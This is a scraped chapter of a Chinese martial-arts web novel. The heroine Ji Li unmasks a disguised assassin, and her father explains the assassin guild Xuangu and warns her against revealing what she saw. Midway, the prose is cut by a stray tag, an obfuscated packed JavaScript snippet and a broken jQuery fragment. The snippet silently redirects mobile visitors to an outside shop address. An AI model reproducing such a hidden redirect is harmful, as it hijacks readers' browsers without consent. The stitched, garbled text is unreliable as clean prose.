文趣网 > 其他小说 > 耳背藏刀 > 4. 玄谷
    季礼环顾四周,一眼看到了那块莲花形状的巨石,思考了一秒。

    就你了!

    她暗暗下定决心,旋即深吸一口气,双手环抱住三生石,脚下生根,“腾”地一声,巨石竟被她从地上抱了起来。

    接着一鼓作气,朝着那人逃跑的方向将巨石猛猛掷了过去。

    走你——!

    三生石呼啸破空,直奔在空中飞遁的人影。

    那人身形一震,反应却极其敏捷,像是提前预知巨石击来的方向一般,身子一闪,向反方向斜斜掠开。

    可巨石裹挟着的强烈气流还是扰动了杀手的气息,那人虽然险些避开危险,却也失去了平衡,旋即一头栽了下来。

    轰隆一声,巨石也应声落地。

    大地微微颤动,林间鸟儿扑簌簌四散惊逃。

    殿前的守卫们明显也听到了后山的动静,正呼呼啦啦地向这边跑来。

    季礼不敢迟疑,以迅雷不及掩耳之势抽出九节鞭,用上十成十的力气朝地上那人的头顶抽去。

    那人正欲起身,听见了尖厉鞭哨声,就地翻滚了一圈,堪堪躲过大半的鞭风,却还是被细细鞭尾扫中。

    季礼抓住时机,轻触机关,只见那九节鞭的鞭尾瞬间炸开,分裂成数根更加细小锐利的鞭花,齐齐从那人面门上划过。

    鞭花撕开皮肉。

    不对。

    季礼心中一凛:这个手感不对。

    人皮不是这个感觉。

    鞭子撕开面皮的感觉季礼非常熟悉,人的面皮是极薄的,弹性稍弱,抽下去的触感应该更加绵软空乏一些,不该有这么强的阻滞与回弹感。

    这个感觉....更像是猪皮!

    季礼定睛再看,愈发不对劲了。

    那人被抽花的面皮微微卷起,下面隐隐透着另外一张脸!

    被劈开的竟是一层厚实逼真的人皮面具!

    季礼怔怔地,想要伸手想要撕开那层怪异的面皮,余光却瞥见一道黑影闪过。

    漫天的白烟瞬间炸开,散发出呛人的烟气。

    她来不及反应,只觉得喉咙又刺又痒,忍不住“咳咳咳”咳了起来。

    等到浓烟慢慢散了,季礼的面前空空如也,方才倒地的小厮,早已消失得无影无踪。

    而刚刚还在远处的府兵已近至眼前。

    ***

    将军府,正堂,大门紧闭。

    季礼梗着脖子,跪在正堂之中。

    “春桃呢?”

    季夫人言简意赅:“卖了。”

    季礼跳了起来:“卖了?!你怎么能不经过我的同意卖我的丫鬟?”

    季夫人冷冷道:“你的丫鬟?春桃的卖身契在将军府签,你都不要做将军府的人了,跟你有什么关系?”

    季礼跳了起来:“春桃打小跟我一起长大的,也是娘亲你看着长大的,你怎么能忍心,说卖就卖了?”

    季夫人冷哼:“对,当年买了小春桃进来,也是看中这孩子踏实忠厚,留在你身边,自然是为了以后给你当陪嫁丫鬟。以后嫁了人,身边有个可信的娘家人总是不错的。”

    季礼急了:“那你还把她卖了!”

    季夫人反问:“你不是不嫁人么?那要陪嫁丫鬟干嘛?白养了这许多年,还不如赶紧卖了换点银子!”

    季礼被只能胡搅蛮缠道:“我不管!不能卖!我说不能卖就不能卖!娘亲你太无情了!卖去哪了,我要去找回来!”

    季夫人冷哼一声:“我无情??是谁任意妄为?又是谁做事不计后果?咱俩到底是谁害了春桃??”

    季礼被噎的一句话也讲不出来,眼泪在圆圈中打着转。

    季将军看着她可怜,忍不住对季夫人说:“这孩子还真信了。”

    季礼泪眼婆娑地抬起头:“啊?”

    季将军摇头:“别人说啥你都信,就这脑子,还闯荡啥江湖?怕是被人卖了还替人数钱!”

    季夫人叹气:“这实心坨子要是被不老实的男人骗了去,那该怎么办啊——”

    季礼脸上还挂着泪珠,愣住了。

    “那春桃哪去了?”

    “该罚还是得罚,这会拎粪桶去了。”

    季礼皱着鼻子笑了起来。

    季将军伸出手指,刮了一下她的鼻子:

    “又哭又笑,黄狗窜尿!”

    “对了,还有这个!”

    季礼擦干眼泪,从怀里摸出一柄精钢窄刀递给季将军,正是从那凶手小厮手中卷走的那柄。

    季将军大惊:“这东西你是从何处得来的?”

    季礼老实回答:“就是那个刺客的,女儿跟他交手时得来的”,继而又疑惑道:“爹爹,难道你认识这个?”

    季鹏沉默片刻,微微颔首:“嗯,我认识。这不是普通的刀,是——“玄谷”的刀。“

    季礼好奇问道:“玄谷?那是什么?”

    季鹏叹气:“一群见不得光的人,聚在做一些见不得光的生意,生意做大了,成了气候,便叫玄谷。”

    季礼又问:“为什么见不得光?又做的是什么生意?”

    季鹏放低声音,解释道:“怎么说呢,进玄谷的人,多是些身负仇怨又走投无路的亡命之徒,仅凭一己之力难以复仇,便只得以身相抵,经过严苛的训练成为杀人机器,然后刺杀任务,去交换一个完成心愿的机会。而玄谷,做的便是这杀人不偿命的买卖,是名副其实的杀人谷啊。”

    季礼蹙眉道:“啊?如此一来,那这不是冤冤相报何时了,无穷无尽么?”

    季鹏颔首:“没错。阿礼这点倒是通透。”

    又叹道:“常窥深渊,终是会被反噬的。这些人啊,本性并不坏,甚至大多身世凄惨,甚是可怜。可惜却被心中执念所困,吞噬本心,终究沦为双手染血的刽子手,变成了自己曾经最憎恨的模样。”

    季鹏拿起那柄窄刀,说:“你看这刀,材料极为特殊,漆黑如墨坚硬如铁,正是用玄谷中独有的玄铁所铸。”

    窄刀静静躺在掌心,流转着幽幽冷光,阴戾之气逼人。

    季礼瞬间觉得他们有点可怜:“他们......也挺可怜的。如果有别的选择,可能也不会走上这条不归路把。”

    季鹏笑道:“我们阿礼很善良啊。”

    “的确如此,听说他们中大部分的人,根本撑不到复仇完成,便死在任务途中了。若是少数几个撑到了最后,玄谷会以秘法处置,取冰锥插入眉心,反复搅动,直至眼神涣散,心智尽毁。这脑子坏掉了,便会彻底忘了自己犯下的罪孽了,这对他们来说,何尝不是一种解脱呢?”

    季礼痛呼:“啊,更可怜了啊.....”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968728|214612||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    季鹏正色道:“可你方才也亲眼看到了他是如何残害叶知府的,这般也值得可怜么?”

    季礼瞬间语塞,恻隐之心被沉沉压下。

    又问:“爹爹的意思是,这个杀手是玄谷派来,专门刺杀叶知府的?”

    季鹏:“没错”,又问:“你刚说的......叶知府遇害的时候,叫那个凶手什么来着?”

    “承安。”季礼回答,“叶知府叫的是这个名字。”

    季鹏思忖片刻,一拍大腿:“对了!承安!就是他!他是叶大人的贴身小厮!”

    季礼诧异:“爹爹怎么连叶知府的贴身小厮叫什么都知道?”

    季鹏快速解释道:“这就对上了!不是我记性好,是这名字今天都看了一天了!你知道么,叶知府遇害后,他的贴身小厮承安便也失踪了,现如今正在全城通缉!”

    “不对啊!”

    季礼反驳道:“可是那个小厮是凶手假扮的啊!我亲手劈花了他的脸,人皮面具之下是另外的人!”

    季鹏想了想,道:“原来如此。看来这是玄谷一早布好的局,这凶手易容之术了得,刻意假扮贴身小厮承安行凶,为的就是要嫁祸于叶知府的贴身小厮,混淆视听!”

    季礼“腾”地一声站起来,转身就要走。

    季鹏赶紧伸手:“哎哎哎,阿礼,这是去哪?”

    季礼转头:“当然是赶紧去禀告江南巡抚贺大人啊!这么重要的线索!”

    “不可。”季鹏按住她。“今日之事影响甚大,出了这个门,半句都不能透露出去。”

    季礼跳脚:“为什么?!”

    季鹏面露难色:“要是贺大人问你怎么知道的,可有证据,你怎么回答?”

    “我.....”

    季礼犹豫了。

    是啊,要怎么回答呢?

    说自己假意祈福,实则溜号,又正巧碰上刺客行凶?

    可外人都以为季家女儿洗心革面,正在跟菩萨谈心呢。

    季礼:“我不管。”

    季鹏一口老血差点喷出来。

    “女儿家的名节你可以不顾,可季家的世代英名,你也要一并毁掉么?”

    季礼愣住。后知后觉想起来,对了,当天是代表将门季家,为即将出征的十万将士祈福......

    季鹏重重哀叹:你这是欺君之罪!欺君之罪你知道么?皇帝一句话,十个脑瓜子都不够你砍的!”

    “自你祖父起,我季家便是满门忠烈。万幸那日是自家的府兵先把你寻了回来,要是被外人发现,被有心人捏了把柄,别说你了,连你爹你娘的脑袋都不一定保得住!”

    他目光凝重:“最要紧的是,你要怎么解释,手握一方兵权的将军之女,恰巧,出现在了凶案现场?死的还是朝中四品大员?”

    “巧合?”季鹏无奈笑笑。

    “帝王之心,只信所有看似偶然的凭空凑巧,不过是隐秘的轨迹浮出水面——”

    冷汗从爬上了季礼的脊背。

    她的世界里,从来没有这些。

    她想,这么严重的事情,爹爹和娘亲也只是轻飘飘地吓唬了几句......

    “该长点心眼了!”

    季鹏伸出一根手指轻轻戳着她的头。

    “收拾收拾,准备跟我进京觐见吧。”